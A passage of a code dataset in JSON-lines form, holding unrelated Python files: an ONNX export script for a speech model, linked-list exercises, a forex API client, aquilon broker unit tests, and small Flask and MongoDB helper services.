wenet.transformer.decoder import TransformerDecoder\nfrom wenet.transformer.encoder import BaseEncoder\nfrom wenet.utils.mask import make_pad_mask\n\ntry:\n import onnxruntime\nexcept ImportError:\n print('Please install onnxruntime-gpu!')\n sys.exit(1)\n\nlogger = logging.getLogger(__file__)\nlogger.setLevel(logging.INFO)\n\nclass Encoder(torch.nn.Module):\n def __init__(self,\n encoder: BaseEncoder,\n ctc: CTC,\n beam_size: int = 10):\n super().__init__()\n self.encoder = encoder\n self.ctc = ctc\n self.beam_size = beam_size\n\n def forward(self, speech: torch.Tensor,\n speech_lengths: torch.Tensor,):\n \"\"\"Encoder\n Args:\n speech: (Batch, Length, ...)\n speech_lengths: (Batch, )\n Returns:\n encoder_out: B x T x F\n encoder_out_lens: B\n ctc_log_probs: B x T x V\n beam_log_probs: B x T x beam_size\n beam_log_probs_idx: B x T x beam_size\n \"\"\"\n encoder_out, encoder_mask = self.encoder(speech,\n speech_lengths,\n -1, -1)\n encoder_out_lens = encoder_mask.squeeze(1).sum(1)\n ctc_log_probs = self.ctc.log_softmax(encoder_out)\n encoder_out_lens = encoder_out_lens.int()\n beam_log_probs, beam_log_probs_idx = torch.topk(\n ctc_log_probs, self.beam_size, dim=2)\n return encoder_out, encoder_out_lens, ctc_log_probs, \\\n beam_log_probs, beam_log_probs_idx\n\n\nclass Decoder(torch.nn.Module):\n def __init__(self,\n decoder: TransformerDecoder,\n reverse_weight: float = 0.0,\n beam_size: int = 10):\n super().__init__()\n self.decoder = decoder\n self.reverse_weight = reverse_weight\n self.beam_size = beam_size\n\n def forward(self,\n encoder_out: torch.Tensor,\n encoder_lens: torch.Tensor,\n hyps_pad_sos: torch.Tensor,\n hyps_lens: torch.Tensor,\n r_hyps_pad_sos: torch.Tensor):\n \"\"\"Encoder\n Args:\n encoder_out: B x T x F\n encoder_lens: B\n hyps_pad_sos: B x beam x T2,\n hyps with sos and padded by ignore id\n hyps_lens: B x beam, length for each hyp with sos\n r_hyps_pad_sos: B x beam x T2,\n reversed hyps with sos and padded by ignore id\n Returns:\n decoder_out: B x beam x T2 x V\n r_decoder_out: B x beam x T2 x V\n \"\"\"\n B, T, F = encoder_out.shape\n bz = self.beam_size\n B2 = B * bz\n encoder_out = encoder_out.repeat(1, bz, 1).view(B2, T, F)\n encoder_mask = ~make_pad_mask(encoder_lens, T).unsqueeze(1)\n encoder_mask = encoder_mask.repeat(1, bz, 1).view(B2, 1, T)\n T2 = hyps_pad_sos.shape[2]\n hyps_pad = hyps_pad_sos.view(B2, T2)\n hyps_lens = hyps_lens.view(B2,)\n r_hyps_pad = r_hyps_pad_sos.view(B2, T2)\n decoder_out, r_decoder_out, _ = self.decoder(\n encoder_out, encoder_mask, hyps_pad, hyps_lens, r_hyps_pad,\n self.reverse_weight)\n decoder_out = torch.nn.functional.log_softmax(decoder_out, dim=-1)\n V = decoder_out.shape[-1]\n decoder_out = decoder_out.view(B, bz, T2, V)\n r_decoder_out = torch.nn.functional.log_softmax(r_decoder_out, dim=-1)\n r_decoder_out = r_decoder_out.view(B, bz, T2, V)\n return decoder_out, r_decoder_out\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='export your script model')\n parser.add_argument('--config', required=True, help='config file')\n parser.add_argument('--checkpoint', required=True, help='checkpoint model')\n parser.add_argument('--beam_size', default=10, type=int, required=False,\n help=\"beam size would be ctc output size\")\n parser.add_argument('--output_onnx_dir',\n default=\"onnx_model\",\n help='output onnx encoder and decoder directory')\n args = parser.parse_args()\n\n torch.manual_seed(0)\n torch.set_printoptions(precision=10)\n\n with open(args.config, 'r') as fin:\n configs = yaml.load(fin, Loader=yaml.FullLoader)\n\n configs[\"encoder_conf\"][\"use_dynamic_chunk\"] = False\n model = init_asr_model(configs)\n load_checkpoint(model, args.checkpoint)\n model.eval()\n\n bz = 32\n seq_len = 100\n beam_size = args.beam_size\n feature_size = configs[\"input_dim\"]\n\n speech = torch.randn(bz, seq_len, feature_size, dtype=torch.float32)\n speech_lens = torch.randint(low=10, high=seq_len, size=(bz,), dtype=torch.int32)\n encoder = Encoder(model.encoder, model.ctc, beam_size)\n encoder.eval()\n if not os.path.exists(args.output_onnx_dir):\n os.mkdir(args.output_onnx_dir)\n encoder_onnx_path = os.path.join(args.output_onnx_dir, 'encoder.onnx')\n\n torch.onnx.export(encoder,\n (speech, speech_lens),\n encoder_onnx_path,\n export_params=True,\n opset_version=13,\n do_constant_folding=True,\n input_names=['speech', 'speech_lengths'],\n output_names=['encoder_out', 'encoder_out_lens',\n 'ctc_log_probs',\n 'beam_log_probs', 'beam_log_probs_idx'],\n dynamic_axes={\n 'speech': {0: 'B', 1: 'T'},\n 'speech_lengths': {0: 'B'},\n 'encoder_out': {0: 'B', 1: 'T_OUT'},\n 'encoder_out_lens': {0: 'B'},\n 'ctc_log_probs': {0: 'B', 1: 'T_OUT'},\n 'beam_log_probs': {0: 'B', 1: 'T_OUT'},\n 'beam_log_probs_idx': {0: 'B', 1: 'T_OUT'},\n },\n verbose=False\n )\n\n def to_numpy(tensor):\n if tensor.requires_grad:\n return tensor.detach().cpu().numpy()\n else:\n return tensor.cpu().numpy()\n\n with torch.no_grad():\n o0, o1, o2, o3, o4 = encoder(speech, speech_lens)\n\n providers = [\"CUDAExecutionProvider\"]\n ort_session = onnxruntime.InferenceSession(encoder_onnx_path,\n providers=providers)\n ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(speech),\n ort_session.get_inputs()[1].name: to_numpy(speech_lens)}\n ort_outs = ort_session.run(None, ort_inputs)\n\n def test(a, b, rtol=1e-3, atol=1e-5, tolerate_small_mismatch=False):\n try:\n torch.testing.assert_allclose(a, b, rtol=rtol, atol=atol)\n except AssertionError as error:\n if tolerate_small_mismatch:\n print(error)\n else:\n raise\n\n # check encoder output\n test(to_numpy(o0), ort_outs[0], rtol=1e-03, atol=1e-05)\n test(to_numpy(o1), ort_outs[1], rtol=1e-03, atol=1e-05)\n test(to_numpy(o2), ort_outs[2], rtol=1e-03, atol=1e-05)\n test(to_numpy(o3), ort_outs[3], rtol=1e-03, atol=1e-05)\n test(to_numpy(o4), ort_outs[4], rtol=1e-03, atol=1e-05)\n logger.info(\"export to onnx encoder succeed!\")\n\n decoder = Decoder(\n model.decoder,\n model.reverse_weight,\n beam_size)\n decoder.eval()\n decoder_onnx_path = os.path.join(args.output_onnx_dir, 'decoder.onnx')\n\n hyps_pad_sos = torch.randint(low=3, high=1000, size=(bz, beam_size, seq_len))\n hyps_lens = torch.randint(low=3, high=seq_len, size=(bz, beam_size),\n dtype=torch.int32)\n r_hyps_pad_sos = torch.randint(low=3, high=1000, size=(bz, beam_size, seq_len))\n\n output_size = configs[\"encoder_conf\"][\"output_size\"]\n encoder_out = torch.randn(bz, seq_len, output_size, dtype=torch.float32)\n encoder_out_lens = torch.randint(low=3, high=seq_len, size=(bz,), dtype=torch.int32)\n\n torch.onnx.export(decoder,\n (encoder_out, encoder_out_lens,\n hyps_pad_sos, hyps_lens, r_hyps_pad_sos),\n decoder_onnx_path,\n export_params=True,\n opset_version=13,\n do_constant_folding=True,\n input_names=['encoder_out', 'encoder_out_lens',\n 'hyps_pad_sos', 'hyps_lens',\n 'r_hyps_pad_sos'],\n output_names=['decoder_out', 'r_decoder_out'],\n dynamic_axes={'encoder_out': {0: 'B', 1: 'T'},\n 'encoder_out_lens': {0: 'B'},\n 'hyps_pad_sos': {0: 'B', 2: 'T2'},\n 'hyps_lens': {0: 'B'},\n 'r_hyps_pad_sos': {0: 'B', 2: 'T2'},\n 'decoder_out': {0: 'B', 2: 'T2'},\n 'r_decoder_out': {0: 'B', 2: 'T2'}\n },\n verbose=False\n )\n with torch.no_grad():\n o0, o1 = decoder(\n encoder_out,\n encoder_out_lens,\n hyps_pad_sos,\n hyps_lens,\n r_hyps_pad_sos)\n\n ort_session = onnxruntime.InferenceSession(decoder_onnx_path,\n providers=providers)\n ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(encoder_out),\n ort_session.get_inputs()[1].name: to_numpy(encoder_out_lens),\n ort_session.get_inputs()[2].name: to_numpy(hyps_pad_sos),\n ort_session.get_inputs()[3].name: to_numpy(hyps_lens),\n ort_session.get_inputs()[4].name: to_numpy(r_hyps_pad_sos)\n }\n ort_outs = ort_session.run(None, ort_inputs)\n\n # check encoder output\n test(to_numpy(o0), ort_outs[0], rtol=1e-03, atol=1e-05)\n test(to_numpy(o1), ort_outs[1], rtol=1e-03, atol=1e-05)\n logger.info(\"export to onnx decoder succeed!\")\n","repo_name":"wangfangyuan/SChunk-Encoder","sub_path":"wenet_schunk/wenet_schunk/bin/export_onnx.py","file_name":"export_onnx.py","file_ext":"py","file_size_in_byte":10487,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"73845946433","text":"from types import SimpleNamespace\n\nfrom leetcode.LinkedList import Node, get_len, show\n\n\ndef kth_to_last_recv_1(node: Node, k: int) -> Node:\n \"\"\"\n Return kth to last node recursively, using helper function.\n\n Pass index by reference to SimpleNamespace object.\n \"\"\"\n\n def forward(node: Node, k: int, hops: SimpleNamespace) -> Node:\n # Base case of forward pass\n if node is None:\n return Node()\n\n # Forward pass\n callback = forward(node.next, k, hops)\n hops.count += 1\n\n # Backward pass\n if hops.count == k:\n return node # Assign callback\n return callback\n\n return forward(node, k, SimpleNamespace(count=0))\n\n\ndef kth_to_last_recv_2(node: Node, k: int) -> Node:\n \"\"\"\n Return kth to last node recursively, using helper function.\n\n Pass index by value.\n\n Return 3rd last item\n base case\n fwd fwd fwd fwd fwd fwd |\n nodes: 1 --> 2 --> 3 --> 4 --> 5 --> 6 --> Ø\n bck bck bck bck bck bck\n callbacks: 4 <-- 4 <-- 4 <-- 4 <-- Ø <-- Ø <-- Ø\n hops: 6 5 4 3 2 1\n \"\"\"\n\n def forward(node: Node, k: int) -> tuple[Node, int]:\n # Base case of forward pass\n if node is None:\n return Node(), 1\n\n # Forward pass\n callback, hops = forward(node.next, k)\n\n # Backward pass\n if hops == k:\n return node, hops + 1 # Assign callback\n return callback, hops + 1\n\n return forward(node, k)[0]\n\n\ndef kth_to_last_iter(node: Node, k: int) -> Node:\n \"\"\"\n Return kth to last node iteratively, using fast slow pointer.\n \"\"\"\n num_nodes = get_len(node)\n if k < 1 or k > num_nodes:\n raise ValueError(f\"k must be in range [1, {num_nodes}]\", k)\n\n fast = slow = node\n\n for _ in range(k):\n fast = fast.next\n\n while fast:\n fast = fast.next\n slow = slow.next\n\n return slow\n\n\nif __name__ == \"__main__\":\n lst = Node(1, Node(2, Node(3, Node(4, Node(5, Node(6, Node(7)))))))\n show(lst)\n for i in range(1, 8):\n print(kth_to_last_iter(lst, i))\n for i in range(9):\n print(kth_to_last_recv_1(lst, i))\n assert kth_to_last_recv_2(lst, i).data == kth_to_last_recv_1(lst, i).data\n","repo_name":"jetkan-yk/phyting","sub_path":"ctci/ch2/return_kth_to_last.py","file_name":"return_kth_to_last.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30818196478","text":"import requests\r\nimport json\r\nimport asyncio\r\nfrom concurrent.futures import ThreadPoolExecutor\r\nfrom oanda.instrument_api_request import InstrumentApiRequest\r\nimport time\r\n\r\ntry:\r\n import Queue as queue\r\nexcept ImportError:\r\n import queue\r\n\r\n\r\nclass InstrumentApiClient:\r\n\r\n WAIT_BETWEEN_REQUESTS_SECONDS = 2\r\n\r\n def __init__(self, access_token):\r\n self.access_token = access_token\r\n self.domain = 'api-fxpractice.oanda.com'\r\n self.requests_queue = queue.Queue()\r\n self.candles_for_symbol_queue = dict()\r\n self.processing_requests_started = False\r\n\r\n def start_process_requests(self):\r\n self.processing_requests_started = True\r\n\r\n futures = []\r\n\r\n executor = ThreadPoolExecutor(max_workers=1)\r\n streams_loop = asyncio.new_event_loop()\r\n futures.append(streams_loop.run_in_executor(executor, self.process_requests))\r\n\r\n asyncio.wait(futures, loop=streams_loop, return_when=asyncio.FIRST_COMPLETED)\r\n\r\n def process_requests(self):\r\n while True:\r\n request = self.get_request_from_queue()\r\n instrument = request.get_instrument()\r\n\r\n request_response = self.get_candles_from_api(instrument, request.get_granularity(),\r\n request.get_count(), request.get_from_datetime())\r\n\r\n self.candles_for_symbol_queue[instrument].put(request_response)\r\n\r\n time.sleep(self.WAIT_BETWEEN_REQUESTS_SECONDS)\r\n\r\n def get_request_from_queue(self) -> InstrumentApiRequest:\r\n return self.requests_queue.get()\r\n\r\n def get_candles(self, instrument: str, granularity: str, count: int, from_datetime: str = None):\r\n if self.processing_requests_started is False:\r\n raise Exception('InstrumentApiClient - processing requests not started')\r\n\r\n if instrument not in self.candles_for_symbol_queue:\r\n self.candles_for_symbol_queue[instrument] = queue.Queue()\r\n\r\n api_request = InstrumentApiRequest(instrument, granularity, count, from_datetime)\r\n self.requests_queue.put(api_request)\r\n\r\n return self.candles_for_symbol_queue[instrument].get()\r\n\r\n def get_candles_from_api(self, instrument: str, granularity: str, count: int, from_datetime: str = None):\r\n s = requests.Session()\r\n\r\n url_configuration = '&dailyAlignment=3&alignmentTimezone=Europe/Prague'\r\n url = 'https://{}/v3/instruments/{}/candles?price={}&granularity={}&count={}{}'.format(\r\n self.domain, instrument, 'BA', granularity, count, url_configuration)\r\n\r\n if from_datetime is not None:\r\n url = '{}&from={}&includeFirst=False'.format(url, from_datetime)\r\n\r\n headers = {\r\n 'Authorization': 'Bearer {}'.format(self.access_token),\r\n 'Content-Type': 'application/json'\r\n }\r\n\r\n try:\r\n req = requests.Request('GET', url, headers=headers)\r\n pre = req.prepare()\r\n response = s.send(pre, stream=False, verify=True)\r\n\r\n return json.loads(response.content)\r\n\r\n except Exception as e:\r\n s.close()\r\n raise Exception('Caught exception when connecting to API\\n' + str(e)) from e\r\n","repo_name":"michalbrauner/trading_platform","sub_path":"oanda/instrument_api_client.py","file_name":"instrument_api_client.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"12393665425","text":"# Pythagorean Triples Checker\n# If you do not know how basic right triangles work, or what a Pythagorean Triple is read these articles on Wikipedia¹ ².\n# Allows the user to input the sides of any triangle in any order.\n# Return whether the triangle is a Pythagorean Triple or not.\n# Loop the program so the user can use it more than once without having to restart the program.\n\n# Cheers to aekanshd for this - I def used his code as a basis for mine\n# https://github.com/aekanshd/beginner-projects/blob/master/solutions/python/PythagoreanTheorem.py\n\ndef is_pi(a,b,c):\n if ((a**2 == (b**2 + c**2))) or ((b**2) == ((a**2 + c**2))) or ((c**2) == ((a**2 + b**2))):\n return \"Yes, that is a Pythagorean Triple\"\n else:\n return \"No that's not a Pythagorean Triple\"\n\n\ndef main():\n on_off = \"y\"\n while True:\n if on_off == 'n':\n break\n elif on_off == 'y':\n a,b,c = input(\"Enter three numbers seperated by a space: \\n\").split()\n a,b,c = int(a), int(b), int(c)\n print(\"Results: \" + is_pi(a,b,c))\n on_off = input(\"Do you want to continue? Y/N: \").lower()\n else:\n print(\"Please enter only Y or N.\")\n on_off = input(\"Do you want to continue? Y/N: \").lower()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"liamwoodman/python-learning","sub_path":"pitri/pitri.py","file_name":"pitri.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31963942667","text":"# 884.两句话中的不常见单词\nclass Solution(object):\n def uncommonFromSentences(self, A, B):\n list_ab = (A+\" \"+B).split()\n res =[]\n for i in list_ab:\n if list_ab.count(i) == 1:\n res.append(i)\n\n return res\n\n\n","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/hashtable/884.两句话中的不常见单词.py","file_name":"884.两句话中的不常见单词.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6470909632","text":"n=int(input())\nm=list(map(int,input().strip().split()))[:n]\nev,od=0,0\nfor i in range(len(m)):\n if i%2==0:\n ev=ev+m[i]\n else:\n od=od+m[i]\ndif=ev-od\nif dif==0:\n print('YES')\nelse:\n print('NO')","repo_name":"21A95A0425/codemind-python","sub_path":"Sum_of_odd_and_even_digits.py","file_name":"Sum_of_odd_and_even_digits.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21491538639","text":"from flask import Flask,request,Response\nimport requests\nimport json\napp = Flask(__name__)\n\n\n# @app.route('/start_stop_service', methods=['GET', 'POST'])\n# def start_stop_service():\n# content = request.json\n# print(content)\n# return {\"result\":\"OK\"}\n\n@app.route('/make_request/')\ndef start_stop_service(i):\n # i=\"jay_krishna\"\n r=requests.get(url=\"http://127.0.0.1:5054/serverlcm/allocate_server/\"+i)\n return r.json()\n\n@app.route(\"/servicelcm/service/update\",methods=['POST'])\ndef receive():\n\tdata=request.get_json()\n\tprint(data)\n\n\tdata={\"status\":\"ok\"}\n\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\t# print(resp.json)\n\treturn resp\n\n@app.route('/servicelcm/service/topology/')\ndef process(username):\n\tfile=open(\"meta.json\")\n\tdata=json.load(file)\n\tsend_data=None\n\n\tfor _ in data:\n\t\tif(_[\"serviceName\"]==username):\n\t\t\tsend_data=_\n\t\t\tbreak\n\treturn json.dumps([send_data])\n\n\nif __name__ == \"__main__\": # on running python app.py\n\tapp.run(debug=True,port=8080) ","repo_name":"danish241194/IAS_Hackathon_2","sub_path":"src/service_life_cycle/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32273217406","text":"import unittest\n\nif __name__ == \"__main__\":\n import utils\n utils.import_depends()\n\nfrom brokertest import TestBrokerCommand\n\n\nclass TestAddCity(TestBrokerCommand):\n\n def testaddexample(self):\n self.dsdb_expect(\"add_city_aq -city_symbol ex \" +\n \"-country_symbol us -city_name Exampleton\")\n command = [\"add\", \"city\", \"--city\", \"ex\", \"--country\", \"us\",\n \"--fullname\", \"Exampleton\", \"--timezone\",\n \"US/Eastern\", \"--comments\", \"Example city comment\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n def testaddupdateexample(self):\n command = [\"update\", \"city\", \"--city\", \"ex\",\n \"--timezone\", \"EDT\",\n \"--comments\", \"Exampleton city comment\"]\n self.ignoreoutputtest(command)\n # For a difference, let's use raw this time\n command = \"show city --city ex\"\n (out, err) = self.successtest(command.split(\" \"))\n self.matchoutput(out, \"Timezone: EDT\", command)\n\n def testaddexamplefail(self):\n self.dsdb_expect(\"add_city_aq -city_symbol e2 \" +\n \"-country_symbol us -city_name Exampleville\",\n fail=True)\n command = [\"add\", \"city\", \"--city\", \"e2\", \"--country\", \"us\",\n \"--fullname\", \"Exampleville\", \"--timezone\",\n \"US/Eastern\"]\n self.badrequesttest(command)\n self.dsdb_verify()\n\n def testaddexampledefault(self):\n self.dsdb_expect(\"add_city_aq -city_symbol e3 \" +\n \"-country_symbol us -city_name Exampleby\")\n command = [\"add\", \"city\", \"--city\", \"e3\", \"--country\", \"us\",\n \"--fullname\", \"Exampleby\", \"--timezone\", \"UTC\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n def testplenary(self):\n command = [\"cat\", \"--city\", \"ex\"]\n out = self.commandtest(command)\n self.matchoutput(out, 'variable TIMEZONE = \"EDT\";', command)\n\n def testplenarydefault(self):\n command = [\"cat\", \"--city\", \"e3\"]\n out = self.commandtest(command)\n self.matchoutput(out, 'variable TIMEZONE = \"UTC\";', command)\n\n def testverifyex(self):\n command = \"show city --city ex\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"City: ex\", command)\n self.matchoutput(out, \"Comments: Exampleton city comment\", command)\n\n def testverifyexproto(self):\n command = \"show city --city ex --format proto\"\n out = self.commandtest(command.split(\" \"))\n locs = self.parse_location_msg(out, 1)\n self.matchoutput(locs.locations[0].name, \"ex\", command)\n self.matchoutput(locs.locations[0].location_type, \"city\", command)\n self.matchoutput(locs.locations[0].fullname, \"Exampleton\", command)\n self.matchoutput(locs.locations[0].timezone, \"EDT\", command)\n\n def testverifycityall(self):\n command = [\"show\", \"city\", \"--all\"]\n out = self.commandtest(command)\n self.matchoutput(out, \"City: ex\", command)\n\n def testverifyshowcsv(self):\n command = \"show city --city ex --format=csv\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"city,ex,country,us,,,EDT,Exampleton\",\n command)\n\n def testupdatecity00(self):\n ## add city\n self.dsdb_expect(\"add_city_aq -city_symbol e4 \" +\n \"-country_symbol us -city_name Exampleby\")\n command = [\"add\", \"city\", \"--city\", \"e4\", \"--country\", \"us\",\n \"--fullname\", \"Exampleby\", \"--timezone\", \"US/Eastern\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n ## add building\n self.dsdb_expect(\"add_building_aq -building_name bx -city e4 \"\n \"-building_addr Nowhere\")\n command = [\"add\", \"building\", \"--building\", \"bx\", \"--city\", \"e4\",\n \"--address\", \"Nowhere\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n ## add campus\n self.dsdb_expect_add_campus(\"na\")\n command = [\"add\", \"campus\", \"--campus\", \"na\", \"--country\", \"us\",\n \"--fullname\", \"test campus\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n # update city\n self.dsdb_expect(\"update_city_aq -city e4 -campus na\")\n command = [\"update\", \"city\", \"--city\", \"e4\", \"--campus\", \"na\"]\n self.ignoreoutputtest(command)\n self.dsdb_verify()\n\n command = \"show city --city e4\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"Location Parents: [Organization ms, Hub ny, \"\n \"Continent na, Country us, Campus na]\", command)\n\n command = \"show building --building bx\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"Location Parents: [Organization ms, Hub ny, \"\n \"Continent na, Country us, Campus na, City e4]\", command)\n\n def testaddcitycampus(self):\n ## add city\n self.dsdb_expect(\"add_city_aq -city_symbol e5 \" +\n \"-country_symbol us -city_name Examplefive\")\n command = [\"add\", \"city\", \"--city\", \"e5\", \"--campus\", \"ta\",\n \"--fullname\", \"Examplefive\", \"--timezone\", \"US/Eastern\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n def testupdatecity10(self):\n ## update city bad campus\n command = [\"update\", \"city\", \"--city\", \"e4\", \"--campus\", \"xx\"]\n out = self.notfoundtest(command)\n self.matchoutput(out, \"Campus xx not found\", command)\n\n command = \"show city --city e4\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"Location Parents: [Organization ms, Hub ny, \"\n \"Continent na, Country us, Campus na]\", command)\n\n def testupdatecity20(self):\n ## update city dsdb error\n self.dsdb_expect(\"update_city_aq -city e4 -campus ta\", fail=True)\n command = [\"update\", \"city\", \"--city\", \"e4\", \"--campus\", \"ta\"]\n out = self.badrequesttest(command)\n self.dsdb_verify()\n\n command = \"show city --city e4\"\n out = self.commandtest(command.split(\" \"))\n self.matchoutput(out, \"Location Parents: [Organization ms, Hub ny, \"\n \"Continent na, Country us, Campus na]\", command)\n\n def testupdatecity30(self):\n\n ## add city\n self.dsdb_expect(\"add_city_aq -city_symbol e6 \" +\n \"-country_symbol gb -city_name ExampleSix\")\n\n command = [\"add\", \"city\", \"--city\", \"e6\", \"--country\", \"gb\",\n \"--fullname\", \"ExampleSix\", \"--timezone\", \"Europe/London\"]\n self.noouttest(command)\n self.dsdb_verify()\n\n ## update city bad campus\n command = [\"update\", \"city\", \"--city\", \"e6\", \"--campus\", \"na\"]\n out = self.badrequesttest(command)\n self.matchoutput(out, \"Cannot change campus. Campus na is in hub ny, while city e6 is in hub ln\", command)\n\n def testupdatedefaultdns(self):\n command = [\"update\", \"city\", \"--city\", \"ny\",\n \"--default_dns_domain\", \"one-nyp.ms.com\"]\n self.successtest(command)\n\n def testverifydefaultdns(self):\n command = [\"show\", \"city\", \"--city\", \"ny\"]\n out = self.commandtest(command)\n self.matchoutput(out, \"Default DNS Domain: one-nyp.ms.com\", command)\n\n def testaddln(self):\n self.dsdb_expect(\"add_city_aq -city_symbol ln \" +\n \"-country_symbol gb -city_name London\")\n self.noouttest([\"add_city\", \"--city\", \"ln\", \"--campus\", \"ln\",\n \"--fullname\", \"London\", \"--timezone\", \"Europe/London\"])\n self.dsdb_verify()\n\n def testaddny(self):\n self.dsdb_expect(\"add_city_aq -city_symbol ny \" +\n \"-country_symbol us -city_name New York\")\n self.noouttest([\"add_city\", \"--city\", \"ny\", \"--campus\", \"ny\",\n \"--fullname\", \"New York\", \"--timezone\", \"US/Eastern\"])\n self.dsdb_verify()\n\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(TestAddCity)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"gombasg/aquilon","sub_path":"tests/broker/test_add_city.py","file_name":"test_add_city.py","file_ext":"py","file_size_in_byte":8214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"7265282648","text":"# -*- coding: utf-8 -*-\nfrom pymongo import MongoClient\nfrom .settings import MONGODB_SETTINGS\nimport json\nimport pandas as pd\nimport numpy as np\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nmongo_client = MongoClient(MONGODB_SETTINGS[\"host\"], MONGODB_SETTINGS[\"port\"])\n\n\n# 为数据自动添加索引\ndef add_index(result):\n lists = []\n if len(result) > 0:\n keys = result[0].keys()\n for i in range(0, len(result), 1):\n dataobj = {}\n for j in keys:\n if j != \"_id\":\n dataobj[j] = result[i][j]\n dataobj[\"index\"] = (i + 1)\n lists.append(dataobj)\n return lists\n\n\n# 获取店铺信息\ndef get_shop_message(search):\n db = mongo_client.seventeen_zwd\n db_name = \"shop_message\"\n search_key = {}\n if search:\n if search.isdigit():\n search_key['game_id'] = {\n '$regex': '.*' + search + '.*'\n }\n else:\n search_key['game_name'] = {\n '$regex': '.*' + search + '.*'\n }\n result = list(db[db_name].find(search_key).limit(10))\n return add_index(result)\n\n\n# 获取数据库信息\ndef get_db_message(dbname, tablename, search, page, page_size=10):\n db = mongo_client[dbname]\n db_name = tablename\n search_key = {}\n next_page = 0\n if int(page) > 1:\n next_page = int(int(page) - 1) * int(page_size)\n if not search:\n result = list(db[db_name].find(search_key, {\"_id\": 0}).skip(next_page).limit(int(page_size)))\n else:\n keys = {\"_id\": 0}\n for i in search.split(\",\"):\n keys[str(i)] = \"\"\n result = list(db[db_name].find(search_key, keys).skip(next_page).limit(int(page_size)))\n return result\n\n\n# 获取数据库表总数目\ndef get_db_num(dbname, tablename):\n db = mongo_client[dbname]\n db_name = tablename\n result = db[db_name].find().count()\n return result\n\n\n# 代发信息列表\ndef get_daifa_list(search):\n db = mongo_client.seventeen_zwd\n db_name = \"daifa_list\"\n search_key = {}\n if search:\n if search.isdigit():\n search_key['game_id'] = {\n '$regex': '.*' + search + '.*'\n }\n else:\n search_key['game_name'] = {\n '$regex': '.*' + search + '.*'\n }\n result = list(db[db_name].find(search_key).limit(5))\n return add_index(result)\n\n\n# 出租信息列表\ndef get_chuzu_list(search):\n db = mongo_client.seventeen_zwd\n db_name = \"chuzu_message\"\n search_key = {}\n if search:\n if search.isdigit():\n search_key['game_id'] = {\n '$regex': '.*' + search + '.*'\n }\n else:\n search_key['game_name'] = {\n '$regex': '.*' + search + '.*'\n }\n result = list(db[db_name].find(search_key).limit(5))\n return add_index(result)\n\n\n# 获取词云\ndef get_word_clouds():\n db = mongo_client.seventeen_zwd\n db_name = \"station_message\"\n result = []\n data = list(db[db_name].find({}))\n for i in data:\n arr = i[\"product_type\"].split(\" \")\n for k in arr:\n result.append(k)\n return list(set(result))\n\n\n# 获取统计信息\ndef get_tongji():\n db = mongo_client.seventeen_zwd\n db_name = \"chuzu_message_2\"\n result = {}\n Size = []\n data = list(db[db_name].find({}))\n for i in data:\n Size.append(i[\"size\"])\n d = {\n 'Size': pd.Series(Size)\n }\n df = pd.DataFrame(d)\n df = df.groupby(\"Size\").size()\n\n tongji_result = json.loads(df.to_json())\n results = []\n for i in tongji_result:\n obj = {}\n key = i\n value = tongji_result[i]\n obj[\"key\"] = key\n obj[\"value\"] = int(value)\n obj[\"precent\"] = obj[\"value\"] * 100 / int(len(Size))\n results.append(obj)\n result[\"tongji_result\"] = results\n result[\"count\"] = len(Size)\n return result\n\n\n# 根据日期统计\ndef date_tongji():\n db = mongo_client.seventeen_zwd\n db_name = \"chuzu_message_2\"\n result = {}\n Time = []\n data = list(db[db_name].find({}))\n for i in data:\n Time.append(i[\"time\"])\n d = {\n 'Time': pd.Series(Time)\n }\n df = pd.DataFrame(d)\n df = df.groupby(\"Time\").size()\n results = {}\n col = df.iloc[:]\n num = []\n time = []\n arrs = col.values\n for j in arrs:\n num.append(int(j))\n for k in col.keys():\n time.append(k)\n results[\"time\"] = time\n results[\"num\"] = num\n result[\"date_result\"] = results\n return result\n\n\n# 根据时间统计\ndef time_tongji():\n db = mongo_client.seventeen_zwd\n db_name = \"chuzu_message_2\"\n result = {}\n Size = []\n data = list(db[db_name].find({}))\n for i in data:\n Size.append(i[\"size\"])\n d = {\n 'Size': pd.Series(Size)\n }\n df = pd.DataFrame(d)\n df = df.groupby(\"Size\").size()\n tongji_result = json.loads(df.to_json())\n results = []\n for i in tongji_result:\n obj = {}\n key = i\n value = tongji_result[i]\n obj[\"key\"] = key\n obj[\"value\"] = int(value)\n obj[\"precent\"] = obj[\"value\"] * 100 / int(len(Size))\n 